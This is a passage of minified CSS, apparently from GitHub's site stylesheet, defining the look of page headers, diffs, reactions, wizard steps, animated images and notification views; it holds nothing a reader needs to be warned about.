!important}.footer-octicon{color:var(--color-fg-subtle)}.footer-octicon:hover{color:var(--color-fg-muted)}.user-mention,.team-mention{font-weight:600;color:var(--color-fg-default);white-space:nowrap}.Popover .user-mention,.Popover .team-mention{white-space:normal}@media(max-width: 543px){.notifications-component-menu-modal{margin:calc(10vh - 16px) 0}}@media(min-width: 544px){.notifications-component-menu-modal,.notifications-component-dialog,.notifications-component-dialog-modal{width:100%}}@media(min-width: 768px){.notifications-component-menu-modal,.notifications-component-dialog,.notifications-component-dialog-modal{min-width:300px}}.notifications-component-dialog:not([hidden])+.notifications-component-dialog-overlay{position:fixed;top:0;right:0;bottom:0;left:0;z-index:80;display:block;cursor:default;content:" ";background:transparent;background:var(--color-primer-canvas-backdrop)}@media(min-width: 544px){.notifications-component-dialog:not([hidden])+.notifications-component-dialog-overlay{display:none}}.notifications-component-dialog{z-index:99;animation:none}@keyframes notifications-component-dialog-animation--sm{0%{opacity:0;transform:translateX(16px)}}@media(min-width: 544px){.notifications-component-dialog{position:absolute;top:auto;right:auto;bottom:auto;left:auto;max-height:none;padding-top:0;margin:0;transform:none}}.notifications-component-dialog .notifications-component-dialog-modal{animation:none}.pagehead{position:relative;padding-top:24px;padding-bottom:24px;margin-bottom:24px;border-bottom:1px solid var(--color-border-default)}.pagehead.admin{background:url("/images/modules/pagehead/background-yellowhatch-v3.png") 0 0 repeat-x}.pagehead ul.pagehead-actions{position:relative;z-index:31;float:right;margin:0}.pagehead .path-divider{margin:0 .25em}.pagehead h1{min-height:32px;margin-top:0;margin-bottom:0;font-size:20px;font-weight:400}.pagehead h1 .avatar{margin-top:-2px;margin-right:8px;margin-bottom:-2px}.pagehead .underline-nav{height:69px;margin-top:-16px;margin-bottom:-16px}.pagehead-heading{color:inherit}.pagehead-actions>li{float:left;margin:0 8px 0 0;font-size:12px;color:var(--color-fg-default);list-style-type:none}.pagehead-actions>li:last-child{margin-right:0}.pagehead-actions .octicon-mute{color:var(--color-danger-fg)}.pagehead-actions .select-menu{position:relative}.pagehead-actions .select-menu::before{display:table;content:""}.pagehead-actions .select-menu::after{display:table;clear:both;content:""}.pagehead-actions .select-menu-modal-holder{top:100%}.pagehead-tabs-item{float:left;padding:8px 16px 12px;color:var(--color-fg-muted);white-space:nowrap;border:solid transparent;border-width:3px 1px 1px;border-radius:6px 6px 0 0}.pagehead-tabs-item .octicon{color:var(--color-fg-muted)}.pagehead-tabs-item:hover{color:var(--color-fg-default);text-decoration:none}.pagehead-tabs-item.selected{font-weight:600;color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-severe-emphasis) var(--color-border-default) transparent}.pagehead-tabs-item.selected>.octicon{color:inherit}.reponav{position:relative;top:1px;margin-top:-4px}.reponav::before{display:table;content:""}.reponav::after{display:table;clear:both;content:""}.reponav-item{float:left;padding:8px 16px 8px;color:var(--color-fg-muted);white-space:nowrap;border:solid transparent;border-width:3px 1px 1px;border-radius:6px 6px 0 0}.reponav-item .octicon{color:var(--color-fg-muted)}.reponav-item:hover,.reponav-item:focus{color:var(--color-fg-default);text-decoration:none}.reponav-item.selected{color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-severe-emphasis) var(--color-border-default) transparent}.reponav-item.selected .octicon{color:inherit}.reponav-wrapper{position:relative;z-index:2;overflow-y:hidden;background-color:var(--color-neutral-emphasis)}.reponav-wrapper .reponav{top:0;padding-right:8px;padding-left:8px;margin-top:0;-webkit-overflow-scrolling:touch;overflow-x:auto;color:rgba(255,255,255,.75)}.reponav-wrapper .reponav-item{display:inline-block;float:none;padding:4px 8px 16px;color:var(--color-fg-muted);border:0}.reponav-wrapper .reponav-item.selected{font-weight:600;color:var(--color-fg-default);background-color:transparent;border:0}@media(max-width: 768px){.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger){background-color:transparent}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:400}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item--navActive::after{display:none}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger):hover{background-color:var(--color-action-list-item-default-hover-bg)}}.steps{display:table;width:100%;padding:0;margin:32px auto 0;overflow:hidden;list-style:none;border:1px solid #dfe2e5;border-radius:6px;box-shadow:0 1px 3px rgba(27,31,35,.05)}.steps li{display:table-cell;width:33.3%;padding:8px 16px;color:#c6cbd1;cursor:default;background-color:var(--color-canvas-subtle);border-left:1px solid #dfe2e5}.steps li.current{color:var(--color-fg-default);background-color:var(--color-canvas-default)}.steps li.current .octicon{color:var(--color-accent-fg)}.steps li .octicon{float:left;margin-right:16px;margin-bottom:4px}.steps li .step{display:block}.steps li:first-child{border-left:0}.steps .complete{color:var(--color-fg-muted)}.steps .complete .octicon{color:var(--color-success-fg)}.prose-diff .anchor{display:none}.prose-diff .show-rich-diff{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.prose-diff .show-rich-diff:hover{text-decoration:underline}.prose-diff.collapsed .rich-diff-level-zero.expandable{cursor:pointer}.prose-diff.collapsed .rich-diff-level-zero.expandable .vicinity{display:block}.prose-diff.collapsed .rich-diff-level-zero.expandable .unchanged:not(.vicinity){display:none}.prose-diff.collapsed .rich-diff-level-zero.expandable .octicon{display:block;margin:16px auto;color:var(--color-fg-muted)}.prose-diff.collapsed .rich-diff-level-zero.expandable:hover .octicon{color:var(--color-fg-muted)}.prose-diff.collapsed .rich-diff-level-zero.expandable:only-child::before{font-size:16px;color:var(--color-fg-muted);content:"Sorry, no visible changes to display."}.prose-diff.collapsed .rich-diff-level-zero.expandable:only-child:hover::before{color:var(--color-fg-default)}.prose-diff.collapsed .rich-diff-level-zero.expandable>.removed,.prose-diff.collapsed .rich-diff-level-zero.expandable>del{display:none;text-decoration:none}.prose-diff .markdown-body{padding:32px;padding-left:16px}.prose-diff .markdown-body>ins{box-shadow:inset 4px 0 0 var(--color-success-muted)}.prose-diff .markdown-body>del{text-decoration:none;box-shadow:inset 4px 0 0 var(--color-danger-muted)}.prose-diff .markdown-body>ins,.prose-diff .markdown-body>del{display:block;border-radius:0}.prose-diff .markdown-body>ins>.rich-diff-level-zero,.prose-diff .markdown-body>ins>.rich-diff-level-one,.prose-diff .markdown-body>del>.rich-diff-level-zero,.prose-diff .markdown-body>del>.rich-diff-level-one{margin-left:16px}.prose-diff .markdown-body>ins:first-child *,.prose-diff .markdown-body>del:first-child *{margin-top:0}.prose-diff .rich-diff-level-zero.added{box-shadow:inset 4px 0 0 var(--color-success-muted)}.prose-diff .rich-diff-level-zero.removed{box-shadow:inset 4px 0 0 var(--color-danger-muted)}.prose-diff .rich-diff-level-zero.changed{box-shadow:inset 4px 0 0 var(--color-attention-muted)}.prose-diff .rich-diff-level-zero.unchanged,.prose-diff .rich-diff-level-zero.vicinity{margin-left:16px}.prose-diff .rich-diff-level-zero.added,.prose-diff .rich-diff-level-zero.removed,.prose-diff .rich-diff-level-zero.changed{display:block;border-radius:0}.prose-diff .rich-diff-level-zero.added>.rich-diff-level-one,.prose-diff .rich-diff-level-zero.removed>.rich-diff-level-one,.prose-diff .rich-diff-level-zero.changed>.rich-diff-level-one{margin-left:16px}.prose-diff .rich-diff-level-zero.added:first-child *,.prose-diff .rich-diff-level-zero.removed:first-child *,.prose-diff .rich-diff-level-zero.changed:first-child *{margin-top:0}.prose-diff :not(.changed)>:not(.github-user-ins):not(.github-user-del)>.removed,.prose-diff :not(.changed)>:not(.github-user-ins):not(.github-user-del)>del{text-decoration:none}.prose-diff .changed del,.prose-diff .changed del pre,.prose-diff .changed del code,.prose-diff .changed del>div,.prose-diff .changed .removed,.prose-diff .changed .removed pre,.prose-diff .changed .removed code,.prose-diff .changed .removed>div{color:var(--color-fg-default);text-decoration:line-through;background:var(--color-danger-subtle)}.prose-diff .changed ins,.prose-diff .changed ins code,.prose-diff .changed ins pre,.prose-diff .changed .added{color:var(--color-fg-default);background:var(--color-success-subtle);border-bottom:1px solid var(--color-success-muted)}.prose-diff>.markdown-body .github-user-ins{text-decoration:underline}.prose-diff>.markdown-body .github-user-del{text-decoration:line-through}.prose-diff>.markdown-body li ul.added{background:var(--color-success-subtle)}.prose-diff>.markdown-body li ul.removed{color:var(--color-fg-default);background:var(--color-danger-subtle)}.prose-diff>.markdown-body li ul.removed:not(.github-user-ins){text-decoration:line-through}.prose-diff>.markdown-body li.added.moved-up .octicon,.prose-diff>.markdown-body li.added.moved-down .octicon{margin-right:4px;margin-left:4px;color:var(--color-fg-muted)}.prose-diff>.markdown-body li.added.moved{background:var(--color-attention-subtle)}.prose-diff>.markdown-body li.removed.moved{display:none}.prose-diff>.markdown-body pre{padding:8px 16px}.prose-diff>.markdown-body th.changed,.prose-diff>.markdown-body td.changed{background:var(--color-attention-subtle);border-left-color:var(--color-border-default)}.prose-diff>.markdown-body :not(li.moved).removed{color:var(--color-fg-default);text-decoration:line-through;background:var(--color-danger-subtle)}.prose-diff>.markdown-body :not(.github-user-ins):not(li.moved).removed{text-decoration:line-through}.prose-diff>.markdown-body :not(li.moved).added,.prose-diff>.markdown-body li:not(.moved).added{background:var(--color-success-subtle)}.prose-diff>.markdown-body :not(.github-user-del):not(li.moved).added li:not(.moved):not(.github-user-del).added{text-decoration:none}.prose-diff>.markdown-body li:not(.moved).removed{color:var(--color-fg-default);background:var(--color-danger-subtle)}.prose-diff>.markdown-body li:not(.moved):not(.github-user-ins).removed{text-decoration:line-through}.prose-diff>.markdown-body .added,.prose-diff>.markdown-body ins+.added,.prose-diff>.markdown-body ins{border-top:0;border-bottom:0}.prose-diff>.markdown-body .added:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins+.added:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins:not(.github-user-del):not(.github-user-ins){text-decoration:none}.prose-diff>.markdown-body img.added,.prose-diff>.markdown-body img.removed{border-style:solid;border-width:1px}.prose-diff>.markdown-body ins pre:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins code:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins>div:not(.github-user-del):not(.github-user-ins){text-decoration:none}.prose-diff>.markdown-body ul>ins,.prose-diff>.markdown-body ul>del{display:block;padding:0}.prose-diff>.markdown-body .added>li,.prose-diff>.markdown-body .removed>li{margin-top:0;margin-bottom:0}span.changed_tag,em.changed_tag,strong.changed_tag,b.changed_tag,i.changed_tag,code.changed_tag{border-bottom:1px dotted var(--color-border-default);border-radius:0}a.added_href,a.changed_href,span.removed_href{border-bottom:1px dotted var(--color-border-default);border-radius:0}.diff-view .file-type-prose .rich-diff{display:none}.diff-view .display-rich-diff .rich-diff{display:block}.diff-view .display-rich-diff .file-diff{display:none}.protip{margin-top:16px;color:var(--color-fg-muted);text-align:center}.protip strong{color:var(--color-fg-default)}.protip code{padding:2px;background-color:var(--color-canvas-subtle);border-radius:6px}.add-reactions-options-item{margin-top:-1px;margin-right:-1px;line-height:29px;border:1px solid transparent}.add-reactions-options-item .emoji{display:inline-block;transition:transform .15s cubic-bezier(0.2, 0, 0.13, 2)}.add-reactions-options-item:hover .emoji,.add-reactions-options-item:focus .emoji{text-decoration:none !important;transform:scale(1.2) !important}.add-reactions-options-item:active{background-color:var(--color-accent-subtle)}.page-responsive .add-reactions-options-item{height:20vw}@media(min-width: 544px){.page-responsive .add-reactions-options-item{height:auto}}.comment-reactions{display:none}.comment-reactions::before{display:table;content:""}.comment-reactions::after{display:table;clear:both;content:""}.comment-reactions .reactions-menu{z-index:100}.page-responsive .comment-reactions{display:none}@media(min-width: 768px){.page-responsive .comment-reactions{display:none}.page-responsive .comment-reactions.has-reactions{display:flex}}.comment-reactions.has-reactions{display:flex}.comment-reactions.has-reactions:not(.social-reactions){border-top:1px solid var(--color-border-default)}.comment-reactions .user-has-reacted{background-color:var(--color-accent-subtle)}.reactions-container .user-has-reacted{background-color:var(--color-accent-subtle)}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}}:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}}.social-reaction-summary-item+.social-reaction-summary-item{margin-left:8px}.social-reactions .comment-body{margin-left:16px !important}.social-button-emoji{display:inline-block;width:16px;height:16px;font-size:1em !important;line-height:1.25;vertical-align:-1px}.social-reaction-summary-item{height:26px;padding:0 4px !important;margin-right:0;font-size:12px;line-height:26px;background-color:transparent;border:1px solid var(--color-border-default, #d2dff0);border-radius:100px}.social-reaction-summary-item:focus,.social-reaction-summary-item:focus-visible{border-radius:100px !important}.social-reaction-summary-item:focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.social-reaction-summary-item:focus:not(:focus-visible){border-color:transparent;border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px transparent}.social-reaction-summary-item:focus-visible{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.social-reaction-summary-item.user-has-reacted{background-color:var(--color-accent-subtle);border:1px solid var(--color-accent-emphasis) !important}.social-reaction-summary-item.user-has-reacted:hover{background-color:var(--color-social-reaction-bg-reacted-hover) !important}.social-reaction-summary-item>span{height:24px;padding:0 4px;margin-left:2px}.social-reaction-summary-item:hover{background-color:var(--color-social-reaction-bg-hover)}.reaction-dropdown-button{color:var(--color-fg-muted)}.reaction-dropdown-button:hover{color:var(--color-accent-fg)}.reaction-dropdown-button--inline{width:26px;height:26px}.reaction-dropdown-button--inline:hover{background-color:var(--color-btn-hover-bg) !important;border-color:var(--color-btn-hover-border) !important}.reaction-dropdown-button:disabled{color:var(--color-primer-fg-disabled) !important;pointer-events:none}.reactions-with-gap .comment .comment-reactions{margin-left:16px;border-top:0 !important}.new-reactions-dropdown .dropdown-menu-reactions{width:auto;padding:0 2px}.new-reactions-dropdown .dropdown-menu-reactions::before,.new-reactions-dropdown .dropdown-menu-reactions::after{background-color:transparent;border:0}.new-reactions-dropdown .dropdown-item-reaction{width:32px;height:32px;padding:4px;margin:4px 2px}.new-reactions-dropdown .dropdown-item-reaction.user-has-reacted{background-color:var(--color-accent-subtle)}.new-reactions-dropdown .dropdown-item-reaction:hover{background-color:var(--color-btn-hover-bg)}.RecentBranches{background-color:var(--color-attention-subtle);border:1px solid var(--color-attention-emphasis);border-radius:6px}.RecentBranches-item{line-height:28px;color:var(--color-fg-default)}.RecentBranches-item+.RecentBranches-item{border-top:1px solid var(--color-attention-emphasis)}.RecentBranches-item-link{color:var(--color-fg-default)}.RecentBranches-item-link.css-truncate-target{max-width:400px}.render-container{padding:32px;line-height:0;text-align:center;background:var(--color-canvas-subtle);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.render-container .render-viewer{display:block;width:1px;height:1px;border:0}.render-container .octospinner{display:none}.render-container .render-viewer-error,.render-container .render-viewer-fatal,.render-container .render-viewer-invalid,.render-container .render-fullscreen{display:none}.render-container.is-render-automatic .octospinner{display:inline-block}.render-container.is-render-requested .octospinner{display:inline-block}.render-container.is-render-requested.is-render-failed .render-viewer-error{display:inline-block}.render-container.is-render-requested.is-render-failed .render-viewer,.render-container.is-render-requested.is-render-failed .render-viewer-fatal,.render-container.is-render-requested.is-render-failed .render-viewer-invalid,.render-container.is-render-requested.is-render-failed .octospinner{display:none}.render-container.is-render-requested.is-render-failed-fatal .render-viewer-fatal{display:inline-block}.render-container.is-render-requested.is-render-failed-fatal .render-viewer,.render-container.is-render-requested.is-render-failed-fatal .render-viewer-error,.render-container.is-render-requested.is-render-failed-fatal .render-viewer-invalid,.render-container.is-render-requested.is-render-failed-fatal .octospinner{display:none}.render-container.is-render-requested.is-render-failed-invalid .render-viewer-invalid{display:inline-block}.render-container.is-render-requested.is-render-failed-invalid .render-viewer,.render-container.is-render-requested.is-render-failed-invalid .render-viewer-error,.render-container.is-render-requested.is-render-failed-invalid .render-viewer-fatal,.render-container.is-render-requested.is-render-failed-invalid .octospinner{display:none}.render-container.is-render-ready.is-render-requested:not(.is-render-failed){height:500px;padding:0;background:none}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer{width:100%;height:100%}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-fullscreen{display:flex}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer-error,.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer-fatal,.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .octospinner{display:none}.render-needs-enrichment{margin-bottom:16px}.render-needs-enrichment .render-full-screen{width:100%;height:auto;padding:16px;overflow:auto}.render-needs-enrichment .render-expand{top:2px;right:2px}.render-needs-enrichment .render-full-screen-close{top:0;right:0;padding:4px}.render-needs-enrichment .details{margin-bottom:0}.render-needs-enrichment .render-plaintext-hidden{display:none}.render-needs-enrichment.render-error .js-render-box{display:none !important}.render-notice{padding:16px 16px;font-size:14px;color:var(--color-fg-default);background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle)}.Skeleton{color:rgba(0,0,0,0);background-image:linear-gradient(270deg, rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.1));background-size:400% 100%;animation:skeleton-loading 8s ease-in-out infinite}.Skeleton *{visibility:hidden}.Skeleton--text{-webkit-clip-path:inset(4px 0 4px 0 round 3px 3px 3px 3px);clip-path:inset(4px 0 4px 0 round 3px 3px 3px 3px)}.is-error .Skeleton{display:none}@keyframes skeleton-loading{0%{background-position:200% 0}100%{background-position:-200% 0}}.authors-2 .AvatarStack{min-width:36px !important}.authors-3 .AvatarStack{min-width:46px !important}[aria-selected=true] .AvatarStack-body,.navigation-focus .AvatarStack-body{background:#f6fbff}.tracked-in-parent-pill{position:relative;cursor:default}.tracked-in-parent-pill-truncated{position:absolute;left:100%;display:none;white-space:nowrap;background:var(--color-canvas-default);border-left-width:0 !important;border-top-left-radius:0 !important;border-bottom-left-radius:0 !important}.tracked-in-parent-pill:hover .tracked-in-parent-pill-truncated{display:block}.wizard-step-item{position:relative;padding:8px 0;margin-left:16px;flex-direction:row}.wizard-step-item::before{position:absolute;top:32px;bottom:0;left:0;display:block;width:2px;height:100%;content:"";background-color:var(--color-border-default)}.wizard-step-badge{position:relative;z-index:1;display:flex;width:32px;height:32px;margin-right:8px;margin-left:-16px;color:var(--color-fg-default);align-items:center;background-color:var(--color-border-default);border:1px solid var(--color-canvas-default);border-radius:50%;justify-content:center;flex-shrink:0}.wizard-step-body{min-width:0;max-width:100%;color:var(--color-fg-default);flex:auto}.wizard-step-body .wizard-step-buttons{display:none;margin-top:16px;justify-content:flex-end}.wizard-step-container{border:0}.wizard-step-container .wizard-step-content{display:none;width:100%;padding:16px 24px 24px 24px;overflow:visible;font-size:14px}.wizard-step-container.wizard-step-container-icon .wizard-step-content{padding:24px}.wizard-step-header{padding-top:4px;padding-left:8px}.wizard-step-header>.wizard-step-title{min-width:0;margin-bottom:4px;flex:1 1 auto;color:var(--color-fg-muted)}.wizard-step-icon{display:none;height:96px;color:var(--color-accent-fg);background-image:linear-gradient(to right, var(--color-accent-subtle), var(--color-canvas-default));justify-content:center;align-items:center;border-top-left-radius:6px;border-top-right-radius:6px}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-badge{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-item::before{background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-title{color:var(--color-fg-default)}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-badge .wizard-step-check{display:block;color:var(--color-fg-on-emphasis)}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-item::before{top:0;display:block;height:16px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-item::before{display:none}}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-icon{color:var(--color-success-fg);background-image:linear-gradient(to right, var(--color-success-subtle), var(--color-canvas-default))}.wizard-step:not([data-single-page-wizard-last-step=true]) .wizard-step-badge .wizard-step-check{display:none}.wizard-step:not([data-single-page-wizard-last-step=true]) .wizard-step-badge::before{color:var(--color-fg-on-emphasis);content:attr(data-single-page-wizard-step)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-badge{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-badge{background-color:var(--color-success-emphasis)}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-item::before{top:42px;height:16px}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-container-icon::after{background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle))}.wizard-step[data-single-page-wizard-step-current=true]:not([data-single-page-wizard-last-step=true]) .wizard-step-container-icon::after{background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle))}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-icon{display:flex}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-item{flex-direction:column}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-item{flex-direction:row}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-body{margin-top:16px;margin-left:-16px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-body{margin-top:0;margin-left:0}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{background-color:var(--color-border-default)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{transform:rotate(90deg)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{position:absolute;top:-12px;right:100%;left:12px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{top:-10px;left:11px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{top:11px;left:-8px;transform:rotate(0)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{margin-left:1px}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-header{display:none}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-content-header{margin-bottom:16px}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-title{color:var(--color-fg-default)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-content{display:block}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-buttons{display:flex}.alert-label{color:var(--color-fg-on-emphasis)}.graph-canvas .alert-label--critical{fill:var(--color-danger-emphasis)}.graph-canvas .alert-label--high{fill:var(--color-severe-emphasis)}.graph-canvas .alert-label--moderate{fill:var(--color-attention-emphasis)}.graph-canvas .alert-label--low{fill:var(--color-neutral-emphasis)}.advisory-form{background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default)}.advisory-form .form-control{background-color:var(--color-canvas-default)}.advisory-form .form-actions{background-color:var(--color-canvas-default)}.advisory-form .previewable-comment-form{background-color:var(--color-canvas-default)}.advisory-credit-window-min{min-height:72px}.advisory-credit-window-max{max-height:370px}[data-target="animated-image.originalImage"],[data-target="animated-image.replacedImage"],[data-a11y-animated-images=system] [data-animated-image],[data-a11y-animated-images=disabled] [data-animated-image]{display:none}animated-image[data-catalyst]{display:inline-block}.AnimatedImagePlayer{position:relative;display:inline-block;width:100%}.AnimatedImagePlayer>a:not(.AnimatedImagePlayer-images){display:none}.AnimatedImagePlayer-controls{position:absolute;top:8px;right:8px;z-index:2;display:none;padding:4px;list-style:none;background:var(--color-canvas-default);border-radius:6px;box-shadow:var(--color-overlay-shadow);opacity:1;transition:opacity 80ms linear}.AnimatedImagePlayer-images .AnimatedImagePlayer-animatedImage{cursor:pointer}.AnimatedImagePlayer-button{display:flex;align-items:center;justify-content:center;width:32px;height:32px;cursor:pointer;background-color:var(--color-canvas-default);border:0;border-radius:6px}@media(hover: hover)and (pointer: fine){.AnimatedImagePlayer-button:hover{background-color:var(--color-btn-hover-bg);transition:background-color 200ms linear}}.AnimatedImagePlayer-images{display:block;width:100%;padding:0;margin:0;background:none;border:0;outline:none;outline-offset:0}.AnimatedImagePlayer-images:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:0}.AnimatedImagePlayer-button:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px}.AnimatedImagePlayer-button svg{width:16px;height:16px;pointer-events:none;fill:var(--color-fg-muted)}.AnimatedImagePlayer-button:hover svg{fill:var(--color-fg-default)}.AnimatedImagePlayer-stillImage{position:absolute;top:0;left:0;z-index:1;display:none;width:100%;height:100%;pointer-events:none}.AnimatedImagePlayer-animatedImage{width:100%;max-width:100%;max-height:100%}.AnimatedImagePlayer.playing .AnimatedImagePlayer-controls{opacity:0;transition-delay:1s}.AnimatedImagePlayer.enabled .AnimatedImagePlayer-animatedImage{opacity:0 !important}.AnimatedImagePlayer.enabled.playing .AnimatedImagePlayer-animatedImage{opacity:1 !important}.AnimatedImagePlayer.playing.player-focused .AnimatedImagePlayer-controls{opacity:1;transition-delay:0ms}@media(hover: hover)and (pointer: fine){.AnimatedImagePlayer.playing:hover .AnimatedImagePlayer-controls{opacity:1;transition-delay:0s}}.AnimatedImagePlayer.enabled.playing .AnimatedImagePlayer-stillImage,.AnimatedImagePlayer.enabled.playing .icon-play,.AnimatedImagePlayer .icon-pause{display:none}.AnimatedImagePlayer .icon-play,.AnimatedImagePlayer.enabled.playing .icon-pause,.AnimatedImagePlayer.enabled .AnimatedImagePlayer-stillImage{display:block}.AnimatedImagePlayer.enabled .AnimatedImagePlayer-controls{display:flex}.emoji-tab.UnderlineNav-item{margin-right:4px}.emoji-tab[role=tab][aria-selected=true]{font-weight:600;color:var(--color-fg-default);border-bottom-color:var(--color-severe-emphasis)}.emoji-tab[role=tab][aria-selected=true] .UnderlineNav-octicon{color:var(--color-fg-muted)}.selected-emoji{z-index:100;background-color:var(--color-accent-emphasis)}.emoji-picker-container .emoji-picker-tab g-emoji{margin-right:auto;margin-left:4px}.emoji-tab .emoji-icon{width:auto}.emoji-picker-container{z-index:1;width:395px}.emoji-picker-tab{height:136px;padding-top:8px}.emoji-picker-emoji-width{width:32px;height:28px}.emoji-picker-tab .btn-outline:not(:hover){background-color:transparent}.emoji-picker-list{list-style:none}.notification-shelf{z-index:34}.notification-shelf.is-stuck{z-index:999}@media(max-width: 767px){.notifications-v2 .commit-ref .css-truncate-target{word-break:break-all;white-space:normal}}@media(max-width: 543px){.notifications-v2 .Box{border-right:0;border-left:0;border-radius:0}}@media(max-width: 543px){.notifications-v2 .Box .Box-header{border-right:0 !important;border-left:0 !important;border-radius:0 !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack--right{width:auto !important;min-width:auto !important;margin-left:53px !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack--right .AvatarStack-body{position:relative !important;right:unset !important;margin-right:8px;flex-direction:row !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack-body .avatar{position:relative !important;margin-right:-12px !important;margin-left:0 !important;border-right:1px solid #fff !important;border-left:0 !important}}.notifications-v2 .thread-subscription-status{background-color:transparent !important}.notifications-v2 .notification-action-mark-archived,.notifications-v2 .notification-action-mark-unread,.notifications-v2 .notification-action-star,.notifications-v2 .notification-action-unsubscribe{display:block !important}.notifications-v2 .notification-action-mark-read,.notifications-v2 .notification-action-mark-unarchived,.notifications-v2 .notification-action-subscribe,.notifications-v2 